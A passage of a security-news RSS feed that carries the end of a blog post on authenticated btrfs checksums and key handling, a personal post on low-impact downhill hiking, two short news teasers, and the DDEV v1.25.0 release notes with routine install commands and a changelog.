<p>We have CRC32C and XXHASH to choose from. Note that there are already two hashes from the start so supporting both secondary hashes would double the number of final combinations. We’ve added XXHASH to enhance the checksum collision space from 32 bits to 64 bits. What I propose is to use just XXHASH as the secondary hash, resulting in two new hashes for the authenticated and secondary hash. I haven’t found a good reason to also include CRC32C.</p>

<p>Another design point was where to do the split and truncation. As the XXHASH has fixed length, this could be defined as 192 bits for the cryptographic hash and 64 bits for full XXHASH.</p>

<p>Here we are, we could have authenticated SHA256 accompanied by XXHASH, or the same with BLAKE2b. The checksum split also splits the decision tree what to do when the checksum partially matches. For a single checksum it’s a simple <em>yes/no</em> decision. The partial match is the interesting case:</p>

<ul>
  <li>primary (key available) hash matches, secondary does not – as the authenticated hash is hard to forge, it’s trusted (even if it’s not full length of the digest)</li>
  <li>primary (key available) does not match, secondary does not – checksum mismatch for the same reason as above</li>
  <li>primary (key not available) does not match, secondary does – this is the prime time for the secondary hash, the floor is yours</li>
</ul>

<p>This leads to 4 outcomes of the checksum verification, compared to 2. A boolean type can simply represent the yes/no outcome but for two hashes it’s not that easy. It depends on the context, though I think it still should be straightforward to decide what to do that in the code. Nevertheless, this has to be updated in all calls to checksum verification and has to reflect the key availability eg. in case where the data are auto-repaired during scrub or when there’s a copy.</p>

<h2>Performance considerations</h2>

<p>The performance comparison should be now clear: we have the potentially slow SHA256 but fast XXHASH, for each metadata and data block, vs slow SHA512 and slow SHA256. As I reckon it’s possible to also select SHA256/SHA256 split in ZFS, but that can’t beat SHA256/XXHASH.</p>

<p>The key availability seems to be the key point in all that, puns notwithstanding. The initial implementation assumed for simplicity to provide the raw key bytes to kernel and to the userspace utilities. This is maybe OK for a prototype but under any circumstances can’t survive until a final release. There’s key management wired deep into linux kernel, there’s a library for the whole API and command line tools. We ought to use that. Pass the key by name, not the raw bytes.</p>

<p>Key management has it’s own culprits and surprises (key owned vs possessed), but let’s assume that there’s a standardized way how to obtain the key bytes from the key name. In kernel its “READ_USER_KEY_BYTES”, in userspace it’s either <em>keyctl_read</em> from <em>libkeyutils</em> or a raw syscall to <em>keyctl</em>. Problem solved, on the low-level. But, well, don’t try that over <em>ssh</em>.</p>

<p>Accessing a btrfs image for various reasons (check, image, restore) now needs the key to verify data or even the key itself to perform modifications (check + repair). The command line interface has to be extended for all commands that interact with the filesystem offline, ie. the image and not the mounted filesystem.</p>

<p>This results to a global option, like <code class="language-plaintext highlighter-rouge">btrfs --auth-key 1234 ispect-internal dump-tree</code>, compared to <code class="language-plaintext highlighter-rouge">btrfs inspect-internal dump-tree --auth-key 1234</code>. This is not finalized, but a global option is now the preferred choice.</p>

<h2>Final words</h2>

<p>I have a prototype, that does not work in all cases but at least passes <code class="language-plaintext highlighter-rouge">mkfs</code> and <code class="language-plaintext highlighter-rouge">mount</code>. The number of checksum verification cases got above what I was able to fix by the time of writing this. I think this has enough matter on itself so I’m pushing it out out as part 1. There are open questions regarding the command line interface and also a some kind of proof or discussion regarding attacks. Stay tuned.</p>

<p>References:</p>

<ul>
  <li>[1] <a href="https://lore.kernel.org/linux-fsdevel/20200428105859.4719-1-jth@kernel.org/">https://lore.kernel.org/linux-fsdevel/20200428105859.4719-1-jth@kernel.org/</a></li>
  <li>[2] <a href="https://lwn.net/Articles/819143/">https://lwn.net/Articles/819143/</a> LWN discussion under <a href="https://lwn.net/Articles/818842/">Authenticated Btrfs (2020)</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hiking Hills]]></title>
<description><![CDATA[A few years ago, I posted on the challenges of maintaining low weight as one ages.  I have managed to  stay near my target weight, with the occasional excursion in either direction, though admittedly more often up than down.  My suspicion that maintaining weight would prove 90% as difficult as lo...]]></description>
<link>https://tsecurity.de/de/3500600/unix-server/hiking-hills/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3500600/unix-server/hiking-hills/</guid>
<pubDate>Fri, 08 May 2026 22:50:01 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A few years ago, I <a href="https://paulmck.livejournal.com/56773.html" target="_blank">posted</a> on the challenges of maintaining low weight as one ages.  I have managed to  stay near my target weight, with the occasional excursion in either direction, though admittedly more often up than down.  My suspicion that maintaining weight would prove 90% as difficult as losing it has proven to be all too well founded.  As has the observation that exercise is inherently damaging to muscles (see for example <a href="https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6510035/" target="_blank" rel="nofollow">here</a>), especially as one's body's ability to repair itself decreases inexorably with age.</p>
<p>It can be helpful to refer back to those old college physics courses.  One helpful formula is the well-worn Newtonian formula for kinetic energy, which is equal to half your mass times the square of your velocity.  Now, the human body does not maintain precisely the same speed while moving (that is after all what bicycles are for), and the faster you are going, the more energy your body must absorb when decreasing your velocity by a set amount on each footfall.  In fact, this amount of energy increases linearly with your average velocity.  So you can reduce the energy absorption (and thus the muscle and joint damage) by decreasing your speed.  And here you were wondering why old people often move much more slowly than do young people!</p>

<p>But moving more slowly decreases the quality of the exercise, for example, requiring more time to gain the same cardiovascular benefits.  One approach is to switch from (say) running to hiking uphill, thus decreasing velocity while increasing exertion.  This works quite well, at least until it comes time to hike back down the hill.</p>
<p>At this point, another formula comes into play, that for potential energy.  The energy released by lowering your elevation is your mass times the force of gravity time the difference in elevation.  With each step you take downhill, your body must dissipate this amount of energy.  Alternatively, you can transfer the potential energy into kinetic energy, but please see the previous discussion.  And again, this is what bicycles are for, at least for those retaining sufficiently fast reflexes to operate them safely under those conditions.  (Not me!!!)</p>
<p>The potential energy can be dissipated by your joints or by your muscles, with muscular dissipation normally being less damaging.  In other words, bend your knee and hip before, during, and after the time that your foot strikes the ground.  This gives your leg muscles more time to dissipate that step's worth of potential energy.  Walking backwards helps by bringing your ankle joint into play and also by increasing the extent to which your hip and knee can flex.  Just be careful to watch where you are going, as falling backwards down a hill is not normally what you want to be doing.  (Me, I walk backwards down the steepest slopes, which allow me to see behind myself just by looking down.  It is also helpful to have someone else watching out for you.)</p>
<p>Also, take small steps.  This reduces the difference in elevation, thus reducing the amount of energy that must be dissipated per step.</p>
<p>But wait!  This also increases the number of steps, so that the effect of reducing your stride cancels out, right?</p>
<p>Wrong.</p>
<p>First, longer stride tends to result in higher velocity, the damaging effects of which were described above.  Second, the damage your muscles incur while dissipating energy is non-linear with both the force that your muscles are exerting and the energy per unit time (also known as "power") that they are dissipating.  To see this, recall that a certain level of force/power will cause your muscle to rupture completely, so that a (say) 10x reduction in force/power results in much greater than a 10x reduction in damage.</p>
<p>These approaches allow you to get good exercise with minimal damage to your body.  Other strategies include the aforementioned bicycling as well as swimming.  Although I am fond of swimming, I recognize that it is my exercise endgame, and that I will therefore need to learn to like it.  But not just yet.</p>
<p>To circle back to the subject of the earlier <a href="https://paulmck.livejournal.com/56773.html" target="_blank">blog post</a>, one common term in the formulas for both kinetic and potential energy is one's mass.  And I do find hiking easier than it was when I weighed 30 pounds more than I do now.  Should I lose more weight?  On this, I defer to my wife, who is a dietitian.  She assures me that 180 pounds is my target weight.</p>
<p>So here I am!  And here I will endeavor to stay, despite my body's continued fear of the food-free winter that it has never directly experienced.</p>
<a name="cutid1-end"></a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Moving Beyond Recognition Toward Repair for Enslavement]]></title>
<description><![CDATA[International law needs to move beyond legal recognition of the wrongfulness of chattel enslavement and the trade in enslaved people, toward repair and remedy.
The post Moving Beyond Recognition Toward Repair for Enslavement appeared first on Just Security.]]></description>
<link>https://tsecurity.de/de/3499356/it-security-nachrichten/moving-beyond-recognition-toward-repair-for-enslavement/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3499356/it-security-nachrichten/moving-beyond-recognition-toward-repair-for-enslavement/</guid>
<pubDate>Fri, 08 May 2026 15:08:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>International law needs to move beyond legal recognition of the wrongfulness of chattel enslavement and the trade in enslaved people, toward repair and remedy.</p>
<p>The post <a href="https://www.justsecurity.org/138316/beyond-recognition-toward-repair-enslavement/">Moving Beyond Recognition Toward Repair for Enslavement</a> appeared first on <a href="https://www.justsecurity.org/">Just Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA['This is not facial recognition' — Meta wants to scan kids' height and bone structure to verify their age]]></title>
<description><![CDATA[Meta is enhancing its technology for detecting users under 13 who shouldn't be on Facebook or Instagram.]]></description>
<link>https://tsecurity.de/de/3497338/it-nachrichten/this-is-not-facial-recognition-meta-wants-to-scan-kids-height-and-bone-structure-to-verify-their-age/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3497338/it-nachrichten/this-is-not-facial-recognition-meta-wants-to-scan-kids-height-and-bone-structure-to-verify-their-age/</guid>
<pubDate>Thu, 07 May 2026 22:32:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Meta is enhancing its technology for detecting users under 13 who shouldn't be on Facebook or Instagram.]]></content:encoded>
</item>
<item>
<title><![CDATA[v1.25.0]]></title>
<description><![CDATA[Installation
See the installation instructions for details, but it's easy:

macOS: brew install ddev/ddev/ddev or just brew upgrade ddev.
Linux: Use sudo apt-get update && sudo apt-get install ddev, see apt/yum installation
Windows and WSL2: Download the Windows Installer; you can run it for inst...]]></description>
<link>https://tsecurity.de/de/3497297/downloads/v1250/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3497297/downloads/v1250/</guid>
<pubDate>Thu, 07 May 2026 22:17:20 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Installation</h2>
<p>See the <a href="https://docs.ddev.com/en/stable/users/install/ddev-installation/" rel="nofollow">installation instructions</a> for details, but it's easy:</p>
<ul>
<li>macOS: <code>brew install ddev/ddev/ddev</code> or just <code>brew upgrade ddev</code>.</li>
<li>Linux: Use <code>sudo apt-get update &amp;&amp; sudo apt-get install ddev</code>, see <a href="https://docs.ddev.com/en/stable/users/install/ddev-installation/#linux" rel="nofollow">apt/yum installation</a></li>
<li>Windows and WSL2: Download the <a href="https://ddev.com/download/" rel="nofollow">Windows Installer</a>; you can run it for install or upgrade. <code>winget install --interactive ddev</code> works too.<br>
<g-emoji class="g-emoji" alias="warning">⚠️</g-emoji> <strong>Traditional Windows users (not WSL2)</strong>: If needed, the installer will prompt you to uninstall the previous system-wide installation to avoid conflicts with the new per-user installation.</li>
<li>Consider <code>ddev delete images</code> or <code>ddev delete images --all</code> after upgrading to free up disk space used by previous Docker image versions. This does no harm.</li>
<li>Consider <code>ddev config --auto</code> to update your projects to current configuration.</li>
</ul>
<h2>Highlights</h2>
<h3>New defaults</h3>
<ul>
<li>Debian <strong>Trixie</strong> is now the base image for <code>ddev-webserver</code> and <code>ddev-ssh-agent</code> (replacing Debian Bookworm). See <a href="https://www.debian.org/releases/trixie/release-notes/issues.html" rel="nofollow">Issues to be aware of for Trixie</a>.<br>
(Some projects with complex Dockerfiles or obsolete <code>webimage_extra_packages</code> may need to be updated.)</li>
<li><a href="https://ddev.com/blog/xhgui-feature/" rel="nofollow"><strong>XHGui</strong></a> is now the default profiler (prepend mode remains available via <code>ddev config global --xhprof-mode=prepend</code>).</li>
<li><strong>Node.js v24</strong> is default in new projects (replacing Node.js v22)</li>
<li><strong>PHP 8.4</strong> is default in new projects (replacing PHP 8.3)</li>
<li><strong>MariaDB 11.8</strong> is default in new projects (replacing MariaDB 10.11)</li>
</ul>
<h3>Additional highlights</h3>
<ul>
<li>Completely revised <strong><a href="https://ddev.com/download/" rel="nofollow">Windows installer</a></strong> now uses <strong>per-user installation</strong> for WSL2 or traditional Windows (no admin account required)</li>
<li>Reworked configurable <code>ddev share</code> command with a new <strong>cloudflared</strong> share provider, see <a href="https://docs.ddev.com/en/stable/users/topics/sharing/" rel="nofollow">new docs</a> and <a href="https://ddev.com/blog/share-providers/" rel="nofollow">blog</a></li>
<li>Add <code>ddev utility xdebug-diagnose</code> command, see <a href="https://ddev.com/blog/xdebug-step-debugging-understanding-and-troubleshooting/" rel="nofollow">Xdebug in DDEV: Understanding, Debugging, and Troubleshooting Step Debugging</a></li>
<li>Add <code>ddev utility mutagen-diagnose</code> command, see <a href="https://ddev.com/blog/mutagen-functionality-issues-debugging/" rel="nofollow">Mutagen in DDEV: Functionality, Issues, and Debugging</a></li>
<li><code>ddev pantheon pull</code> got new <code>DDEV_PANTHEON_SITE</code>, <code>DDEV_PANTHEON_ENVIRONMENT</code>, <code>DDEV_USE_PANTHEON_BACKUP</code> variables, see updated <a href="https://docs.ddev.com/en/stable/users/providers/pantheon/" rel="nofollow">Pantheon Integration</a></li>
<li><code>ddev snapshot</code> now uses <strong>zstd</strong> instead of gzip for significantly faster exports and restores, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/deviantintegral/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/deviantintegral">@deviantintegral</a></li>
<li>Add <a href="https://docs.ddev.com/en/stable/users/quickstart/#codeigniter" rel="nofollow">CodeIgniter</a> project type, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Franky5831/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Franky5831">@Franky5831</a></li>
<li>Experimental support for <strong>Podman</strong> and <strong>Docker Rootless</strong>, see <a href="https://ddev.com/blog/podman-and-docker-rootless/" rel="nofollow">Podman and Docker Rootless in DDEV</a></li>
<li><a href="https://github.com/ddev/ddev-frankenphp"><code>ddev-frankenphp</code></a> is an official add-on with many improvements, see updated <a href="https://ddev.com/blog/using-frankenphp-with-ddev/" rel="nofollow">Using FrankenPHP with DDEV</a></li>
</ul>
<h2>Features</h2>
<ul>
<li>New <a href="https://docs.ddev.com/en/stable/users/quickstart/#wagtail-python-generic" rel="nofollow">Wagtail (Python, Generic)</a> quickstart</li>
<li>Added Drupal 12 project type (development branch). Drupal 12 has not yet been released, but it's showing up in developer builds already.</li>
<li>New <code>--no-cache</code> flag for <code>ddev start</code> and <code>ddev restart</code> (as an alternative to <code>ddev utility rebuild</code>)</li>
<li>Improved support for non-Codespaces devcontainers</li>
<li>Refactored <code>ddev add-on</code> subcommands with a fallback mechanism to avoid GitHub API rate limits</li>
<li>Much faster <code>ddev add-on list</code> and <code>ddev add-on search</code></li>
<li>Shell autocompletion for <code>ddev add-on get &lt;TAB&gt;</code></li>
<li>SELinux enviroment detection (auto <a href="https://docs.docker.com/engine/storage/bind-mounts/#configure-the-selinux-label" rel="nofollow">SELinux label</a> for bind mounts)</li>
<li>Support for additional SSH config files (<code>*.conf</code>) in <code>.ddev/homeadditions/.ssh/config.d</code> (global or project-level), see <a href="https://docs.ddev.com/en/stable/users/extend/in-container-configuration/#ssh-configuration" rel="nofollow">SSH confugation</a>, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/codebymikey/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/codebymikey">@codebymikey</a></li>
<li>More portable database collations. Databases imported and exported from newer MySQL and MariaDB are less likely to have problems with proprietary collations like <code>utf8mb4_0900_ai_ci</code> and <code>utf8mb4_uca1400_ai_ci</code> as they use more traditional collations in DDEV.</li>
<li>DBeaver support for traditional Windows, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ddubau/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ddubau">@ddubau</a></li>
</ul>
<h2>Traefik Router Features, Fixes, and Breaking Changes</h2>
<ul>
<li>Project Traefik configuration is now standardized to a single file: <code>.ddev/traefik/config/&lt;projectname&gt;.yaml</code> (all other files are ignored). See <a href="https://github.com/ddev/ddev/issues/8047" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8047/hovercard">issue #8047</a>.</li>
<li>Add any global Traefik configuration inside the <code>$HOME/.ddev/traefik/custom-global-config/</code> directory</li>
<li>Removed <code>defaultRuleSyntax: v2</code> and <code>ruleSyntax: v3</code> from Traefik configs. Traefik v3 syntax is now used by default.</li>
<li>Traefik configuration errors now show warnings instead of failing hard</li>
<li>Improved Traefik health checks for more reliable router verification</li>
<li>Prevent unnecessary router recreation when bound ports are unchanged</li>
<li><code>ddev-router</code> is no longer stopped automatically when the last project is stopped, use <code>ddev poweroff</code> to fully stop the router</li>
<li>Traefik monitoring port is now bound to localhost only, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JUVOJustin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JUVOJustin">@JUVOJustin</a></li>
<li>Paused or stopped projects are excluded from Traefik configuration</li>
<li>Bypass router port checks when all ports appear busy (for example, when endpoint security software intercepts localhost traffic)</li>
</ul>
<h2>Breaking Changes / Removals</h2>
<ul>
<li>Default <code>xhprof_mode</code> changed from "prepend" to "xhgui" but you can easily change it back</li>
<li>Removed <code>ddev utility capabilities</code>, use <a href="https://docs.ddev.com/en/stable/users/configuration/config/#ddev_version_constraint" rel="nofollow"><code>ddev_version_constraint</code></a> instead in add-ons.</li>
<li>Removed NFS support, use <a href="https://docs.ddev.com/en/stable/users/install/performance/#filesystem-performance-mutagen" rel="nofollow">Mutagen</a></li>
<li>Removed <code>ddev service</code>, custom services can be installed/uninstalled via <a href="https://docs.ddev.com/en/stable/users/usage/commands/#add-on" rel="nofollow"><code>ddev add-on</code></a></li>
<li>Removed <code>ddev nvm</code>, install the <a href="https://github.com/ddev/ddev-nvm"><code>ddev-nvm</code></a> add-on if needed</li>
<li>Removed obsolete or non-functional commands and command aliases:
<ul>
<li><code>ddev restore-snapshot</code></li>
<li><code>ddev auth pantheon</code></li>
<li><code>ddev config pantheon</code></li>
</ul>
</li>
<li>Removed obsolete <code>ddev config</code> flags:
<ul>
<li><code>--mutagen-enabled</code> (use <code>--performance-mode=mutagen</code>)</li>
<li><code>--upload-dir</code> (use <code>--upload-dirs</code>)</li>
<li><code>--db-image</code>, <code>--db-image-default</code> (never documented or used)</li>
</ul>
</li>
<li>Removed deprecated <code>ddev config</code> flag aliases:
<ul>
<li><code>--http-port</code> → <code>--router-http-port</code></li>
<li><code>--https-port</code> → <code>--router-https-port</code></li>
<li><code>--mailhog-port</code> → <code>--mailpit-http-port</code></li>
<li><code>--mailhog-https-port</code> → <code>--mailpit-https-port</code></li>
<li><code>--projectname</code> → <code>--project-name</code></li>
<li><code>--projecttype</code>, <code>--apptype</code> → <code>--project-type</code></li>
<li><code>--sitename</code> → <code>--project-name</code></li>
<li><code>--image-defaults</code> → <code>--web-image-default</code></li>
</ul>
</li>
<li>Removed <code>nginx.org</code> repository from <code>ddev-webserver</code>, now using nginx from the Debian Trixie repository</li>
<li>Migrated all APT repositories in <code>ddev-webserver</code> from legacy <code>*.list</code> files to <code>*.sources</code> (deb822) format</li>
</ul>
<h2>Bug Fixes</h2>
<ul>
<li>Fixed <code>ddev heidisql</code> support for multiple databases</li>
<li>Fixed PostgreSQL builds when overriding the database username</li>
<li>Fixed Windows installer behavior on non-English Windows locales</li>
<li>Improved Bash detection for non-admin Windows installations</li>
<li>Fixed <code>host.docker.internal</code> IP detection for WSL2 mirrored mode with virtual adapters present</li>
<li>Fixed conflicts between <code>HostWorkingDir</code> and <code>WebWorkingDir</code> affecting <code>ddev npm</code>, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/crowjake/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/crowjake">@crowjake</a></li>
<li>Fixed support for <code>PKCS#8</code> keys in <code>ddev auth ssh</code></li>
<li>Fixed <code>ddev snapshot</code> command for <code>postgres:9</code></li>
<li>Create Docker volumes only for the configured database type</li>
<li>Fixed <code>ddev xdebug</code>, <code>ddev xhprof</code>, and <code>ddev blackfire</code> handlers for the <a href="https://github.com/ddev/ddev-frankenphp">ddev-frankenphp</a> add-on</li>
<li>Fixed <code>ddev snapshot</code> failure when run immediately after <code>ddev snapshot restore</code></li>
<li>Always show the correct project name in <code>ddev mutagen st</code>, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/agviu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/agviu">@agviu</a></li>
<li>Warn about non-persistent changes when using <code>ddev composer self-update</code> and <code>ddev composer global</code></li>
<li>Added support for <code>COMPOSER_NO_SECURITY_BLOCKING=1</code> in <code>ddev composer</code></li>
<li>Run <code>post-create-project-cmd</code> for plugin events in <code>ddev composer create-project</code></li>
<li>Improved <code>log-stderr.sh</code> reporting during <code>ddev start</code></li>
<li>Skip poweroff prompts when containers are already stopped during version upgrades</li>
<li>Fixed database port type in TYPO3 settings, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BreathCodeFlow/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BreathCodeFlow">@BreathCodeFlow</a></li>
<li>Detect and warn about multiple global config directories during <code>ddev start</code></li>
</ul>
<h2>Minor Updates</h2>
<ul>
<li>PHP 8.3.30, 8.4.17, and 8.5.2</li>
<li>Docker Compose v5.0.2</li>
<li>Updated <a href="https://docs.ddev.com/en/stable/users/quickstart/#generic" rel="nofollow">Generic</a> webserver quickstart</li>
<li>Add <code>APP_FULL_BASE_URL</code> for CakePHP, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ajibarra/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ajibarra">@ajibarra</a></li>
<li>Updated Lagoon provider instructions with sync configuration, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/froboy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/froboy">@froboy</a></li>
<li>Added Cloudflare WARP networking instructions, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lguigo22/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lguigo22">@lguigo22</a></li>
<li>Updated Ibexa DXP installation steps, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adriendupuis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adriendupuis">@adriendupuis</a></li>
<li>Added troubleshooting guidance for endpoint security interfering with Xdebug, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joelpittet/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joelpittet">@joelpittet</a></li>
<li>Replaced <code>github.com/docker/docker</code> with <code>github.com/moby/moby/client</code> and <code>github.com/moby/moby/api</code></li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>test: Allow overriding ignore expiring keys [skip buildkite] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3595807650" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7803" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7803/hovercard" href="https://github.com/ddev/ddev/pull/7803">#7803</a></li>
<li>test: Improve TestHasConfigNameOverride so it doesn't leave projects after completion, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3588095046" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7797" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7797/hovercard" href="https://github.com/ddev/ddev/issues/7797">#7797</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3594876628" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7798" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7798/hovercard" href="https://github.com/ddev/ddev/pull/7798">#7798</a></li>
<li>test: don't check for expiring keys in forks, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3595807650" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7803" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7803/hovercard" href="https://github.com/ddev/ddev/pull/7803">#7803</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3608140893" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7831" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7831/hovercard" href="https://github.com/ddev/ddev/pull/7831">#7831</a></li>
<li>build(deps): bump golangci/golangci-lint-action from 8 to 9 by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3608833112" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7832" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7832/hovercard" href="https://github.com/ddev/ddev/pull/7832">#7832</a></li>
<li>fix(heidisql): use <code>--databases</code> flag only when needed, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3607926680" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7829" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7829/hovercard" href="https://github.com/ddev/ddev/issues/7829">#7829</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3608027114" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7830" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7830/hovercard" href="https://github.com/ddev/ddev/pull/7830">#7830</a></li>
<li>docs: add missing dot in <code>.ddev/.env.*</code> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yanniboi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yanniboi">@yanniboi</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3607674219" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7828" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7828/hovercard" href="https://github.com/ddev/ddev/pull/7828">#7828</a></li>
<li>fix(postgres): use placeholder for username, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3606943756" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7820" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7820/hovercard" href="https://github.com/ddev/ddev/issues/7820">#7820</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3607502251" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7827" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7827/hovercard" href="https://github.com/ddev/ddev/pull/7827">#7827</a></li>
<li>docs: remove community examples link in documentation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/weitzman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/weitzman">@weitzman</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3610507416" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7834" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7834/hovercard" href="https://github.com/ddev/ddev/pull/7834">#7834</a></li>
<li>refactor: improve <code>ddev auth ssh</code> readability and reuse cmd in tests by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3605453229" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7816" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7816/hovercard" href="https://github.com/ddev/ddev/pull/7816">#7816</a></li>
<li>test(quickstart): check for new FrankenPHP headers by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3612250250" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7836" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7836/hovercard" href="https://github.com/ddev/ddev/pull/7836">#7836</a></li>
